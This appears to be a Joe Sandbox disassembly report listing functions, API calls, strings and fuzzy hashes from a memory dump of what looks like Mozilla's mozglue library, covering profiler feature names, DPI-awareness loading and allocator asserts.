Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: ad4e143ac0d1190df91e67226925cf8452db38b61bc2216d3c68ec11dbbb3db5
Instruction ID: e0dd0ff16ecbdb7d940dddd86d4a90618c3f2d794ecf95c5199e4d293677946e
Opcode Fuzzy Hash: ad4e143ac0d1190df91e67226925cf8452db38b61bc2216d3c68ec11dbbb3db5
Instruction Fuzzy Hash: 4B62BE7150C3858FD706CE2DC09079EBBF2AF8635AF184A0DE4E54BE91C3359985CB8A

Function 6C68545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C688A4B

Strings

~qal, xrefs: 6C6856C7, 6C689459, 6C68921F, 6C685740, 6C689269, 6C685703, 6C68948F

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: memset
String ID: ~qal
API String ID: 2221118986-3346365761
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 54a085e26d90500e6221a0d35f9203cb23477ccf1d023fb07b4e8bbcc3406c36
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 4AB1FA72E0621ACFDB14CF68CC907E9B7B2EF85314F1802A9C549EB795D7309985CBA4

Function 6C68542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6888F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C68925C

Strings

~qal, xrefs: 6C6856C7, 6C689459, 6C68921F, 6C685740, 6C689269, 6C685703, 6C68948F

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: memset
String ID: ~qal
API String ID: 2221118986-3346365761
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: a32c37e741a22a3f996d97e22cdf0def0b3bde83d4a6f9deda43bae4bb060487
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 36B1C572E0620A8FDB14CF68C8916EDB7B2EF85314F140269C549EB795D730A989CBA4

Function 6C61BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C61C1CB
__aulldiv.LIBCMT ref: 6C61C24C
__aulldiv.LIBCMT ref: 6C61C348
__aullrem.LIBCMT ref: 6C61C365
__aulldiv.LIBCMT ref: 6C61C37D

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 4185e4725f67321b483e5543b5cb235054dbb9fc0e8be5931495ecb7398717ed
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: A1322632B086119FC718DE2CC89165ABBE6AFC9310F09867DE896CB795D730ED05CB91

Function 6C656CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C656D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C656E1E

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: ff394e65ceb66ab2255bc56c7ded2c3fff892b9d1392cd17385523ddb66625ed
Instruction ID: 1bbb108be75b257b61e597a67c12d6e725ad8e01d9c68dda3d1cad55443075af
Opcode Fuzzy Hash: ff394e65ceb66ab2255bc56c7ded2c3fff892b9d1392cd17385523ddb66625ed
Instruction Fuzzy Hash: 07A18D70A183818FC715CF25C4907AEFBE2BF89308F54891DE48A87B51DB70E859CB96

Function 6C634640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C634777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C635585, 6C6355A8, 6C6355C3, 6C635624

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: c145d4e4e20daad5392d243b4265826ee6d9e2e984d87e06dcbf70a77932bdb0
Instruction ID: faf890be7e99d6cecee5069741a40f6f14f5e7c6ed80b0d0653c500638383649
Opcode Fuzzy Hash: c145d4e4e20daad5392d243b4265826ee6d9e2e984d87e06dcbf70a77932bdb0
Instruction Fuzzy Hash: 8BB28D71A056118FC308CF19C590625FBE2BFC5324B29E76DE86E8B6A5D771E841CB88

Function 6C6785F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C678C7C
__aulldiv.LIBCMT ref: 6C678DD7

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 410b42849710a291da7112a809d3860f56952edf442630df0621958db2abc2a8
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 7C327031F001198BDF18CE9DC8A17AEF7B2FB88304F15853AD506BB7A0DA349D458BA5

Function 6C6876E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qal, xrefs: 6C6879C0, 6C6879FB, 6C68793C, 6C687E0B, 6C687B0B, 6C687796

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID:
String ID: ~qal
API String ID: 0-3346365761
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 94c2ad13549e5258c9598aa8ed9438e2364e889bc72d6bc31d31edb1cb535100
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 68320971E016198FCB14CF98C890AADFBF2FF88308F648169D949A7745D731A986CF94

Function 6C686E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qal, xrefs: 6C6879C0, 6C6879FB, 6C68793C, 6C687C72, 6C687E0B, 6C687C03, 6C687B0B

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID:
String ID: ~qal
API String ID: 0-3346365761
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 639f81299236e8c5400fbdc19b27d6af79f0f2134eaa9d7aea6b2a349cb0d215
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 6822E871E012198FCB14CF98C880AADF7F2FF89308F6481A9D949A7745D731A986CF94

Function 6C655C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C624A63,?,?), ref: 6C655F06

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: a37faa3e0539bbfd3da21810cca0f0ef2bfa7a469076d025b87621faa293693a
Instruction ID: 5cc6a3413c2593eca56485b4713e7aa7acfb83940c8aade7d245c3e6363a4650
Opcode Fuzzy Hash: a37faa3e0539bbfd3da21810cca0f0ef2bfa7a469076d025b87621faa293693a
Instruction Fuzzy Hash: 15C1BE75E012098BCB04CF95C1946EEBBF2BF8A318F78825DD8556BB40D732A816CF84

Function 6C640512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 90e35e3f7b8befecf7f78307e88399ac04b7bddb84b49e4e4ad5dd11aaf1c966
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: E2220671E04629CFCB14CF98C890AADFBB2FF89308F548599C54AA7745D731A986CF84

Function 6C68AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 983bef2db6d5205408d1251a9242139be8456eb71f715b8bbe1050cc8789ec5a
Instruction ID: daef6f35b6ea0cecdf8a28756022cc9b87cbf6e4184982f508ec8f5103ed23c8
Opcode Fuzzy Hash: 983bef2db6d5205408d1251a9242139be8456eb71f715b8bbe1050cc8789ec5a
Instruction Fuzzy Hash: F1F13B7160A7454FD700CE28C8907AAB7E2AFC6318F148A2DEDD4877D2E774D84587A6

Function 6C61C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 9ea7f0585b380958982d3650d7947904a90067d721f74549d565edd3e9c39088
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 44A1BF71F0421A8BDB08CE6CC8913AEB7F2AFC9355F188139D916A7791CB349C068BD0

Function 6C6755F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C64E1A5), ref: 6C675606
LoadLibraryW.KERNEL32(gdi32,?,6C64E1A5), ref: 6C67560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C675633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C67563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C67566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C67567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C675696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6756B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6756CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6756E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6756FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C675716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C67572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C675748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C675761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C67577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C675793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6757A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6757BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6757D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6757EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6757FF

Strings

GetWindowDC, xrefs: 6C675710
SetWindowPos, xrefs: 6C6756F7
gdi32, xrefs: 6C67560A
user32, xrefs: 6C675601
StretchDIBits, xrefs: 6C6757CC
CreateSolidBrush, xrefs: 6C6757E4
SetWindowLongPtrW, xrefs: 6C6757B7
GetDpiForWindow, xrefs: 6C675690
MonitorFromWindow, xrefs: 6C67578D
GetThreadDpiAwarenessContext, xrefs: 6C67562D
AreDpiAwarenessContextsEqual, xrefs: 6C675637
LoadCursorW, xrefs: 6C675774
DeleteObject, xrefs: 6C6757F9
LoadIconW, xrefs: 6C67575B
CreateWindowExW, xrefs: 6C6756C5
FillRect, xrefs: 6C675729
GetMonitorInfoW, xrefs: 6C6757A2
RegisterClassW, xrefs: 6C6756AC
ReleaseDC, xrefs: 6C675742
EnableNonClientDpiScaling, xrefs: 6C675666
ShowWindow, xrefs: 6C6756DE
GetSystemMetricsForDpi, xrefs: 6C675677

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 69a64e6f818336fd70b33c3403821254443a9714aaa75aa3a48f2d78dd818b85
Instruction ID: 730cbb56aa5bcecfdd6f718a850ca1128d2d25dc9b283cd741c4ecd0041cf465
Opcode Fuzzy Hash: 69a64e6f818336fd70b33c3403821254443a9714aaa75aa3a48f2d78dd818b85
Instruction Fuzzy Hash: 6E5133706117139BEB109F378D8492A3AFCAB46785F21486DB921E2A51EF74CC018F7D

Function 6C65CC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C62582D), ref: 6C65CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C62582D), ref: 6C65CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C68FE98,?,?,?,?,?,6C62582D), ref: 6C65CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C62582D), ref: 6C65CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C62582D), ref: 6C65CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C62582D), ref: 6C65CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C62582D), ref: 6C65CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C65CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C65CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C65CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C65CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C65CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C65CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C65CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C65CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C65CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C65CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C65CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C65CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C65CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C65CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C65CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C65CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C65CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C65CE8A

Strings

jsallocations, xrefs: 6C65CD0E
m *.al 1.google.com.google.com *.jo 1.google.com.google.com *.sn 1.google.com.google.com *.is 1.google.com.google.com *.ro 1.google.com.google.com *.cr 1.google.com.google.com *.us 1.google.c, xrefs: 6C65CD25
notimerresolutionchange, xrefs: 6C65CE00
seqstyle, xrefs: 6C65CCE6
screenshots, xrefs: 6C65CCD4
default, xrefs: 6C65CC21
preferencereads, xrefs: 6C65CD92
power, xrefs: 6C65CE84
unregisteredthreads, xrefs: 6C65CE58
mainthreadio, xrefs: 6C65CC7C
nostacksampling, xrefs: 6C65CD7C
Unrecognized feature "%s"., xrefs: 6C65CEA0
fileio, xrefs: 6C65CC92
java, xrefs: 6C65CC37
leaf, xrefs: 6C65CC66
samplingallthreads, xrefs: 6C65CE2C
stackwalk, xrefs: 6C65CCF8
processcpu, xrefs: 6C65CE6E
markersallthreads, xrefs: 6C65CE42
cpuallthreads, xrefs: 6C65CE16
audiocallbacktracing, xrefs: 6C65CDD4
ipcmessages, xrefs: 6C65CDBE
fileioall, xrefs: 6C65CCA8
nativeallocations, xrefs: 6C65CDA8
noiostacks, xrefs: 6C65CCBE

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$m *.al 1.google.com.google.com *.jo 1.google.com.google.com *.sn 1.google.com.google.com *.is 1.google.com.google.com *.ro 1.google.com.google.com *.cr 1.google.com.google.com *.us 1.google.c$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-3904455875
Opcode ID: 137e88b664fa4c9af193b1491c9972f7bb41c1425448d9fc46ed11b4518e7b49
Instruction ID: a270fb9001a12d182d1d282f6b3c49c85512af031004c0678d07f78684919bc3
Opcode Fuzzy Hash: 137e88b664fa4c9af193b1491c9972f7bb41c1425448d9fc46ed11b4518e7b49
Instruction Fuzzy Hash: 885146D1A4772572FA0031256D20BAA1489EF5B349FB04636DF07E1E80FA09962BC5BF

Function 6C624470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C624730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6244B2,6C69E21C,6C69F7F8), ref: 6C62473E
Part of subcall function 6C624730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C62474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6244BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6244D2
InitOnceExecuteOnce.KERNEL32(6C69F80C,6C61F240,?,?), ref: 6C62451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C62455C
LoadLibraryW.KERNEL32(?), ref: 6C624592
InitializeCriticalSection.KERNEL32(6C69F770), ref: 6C6245A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6245AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6245BB
InitOnceExecuteOnce.KERNEL32(6C69F818,6C61F240,?,?), ref: 6C624612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C624636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C624644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C62466D
VerSetConditionMask.NTDLL ref: 6C62469F
VerSetConditionMask.NTDLL ref: 6C6246AB
VerSetConditionMask.NTDLL ref: 6C6246B2
VerSetConditionMask.NTDLL ref: 6C6246B9
VerSetConditionMask.NTDLL ref: 6C6246C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6246CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6246F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6246FD

Strings

user32.dll, xrefs: 6C624557, 6C62463F
Gil, xrefs: 6C6244FC
l, xrefs: 6C624578
WRusr.dll, xrefs: 6C6244B5
NativeNtBlockSet_Write, xrefs: 6C6246F7
kernel32.dll, xrefs: 6C6244CD

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
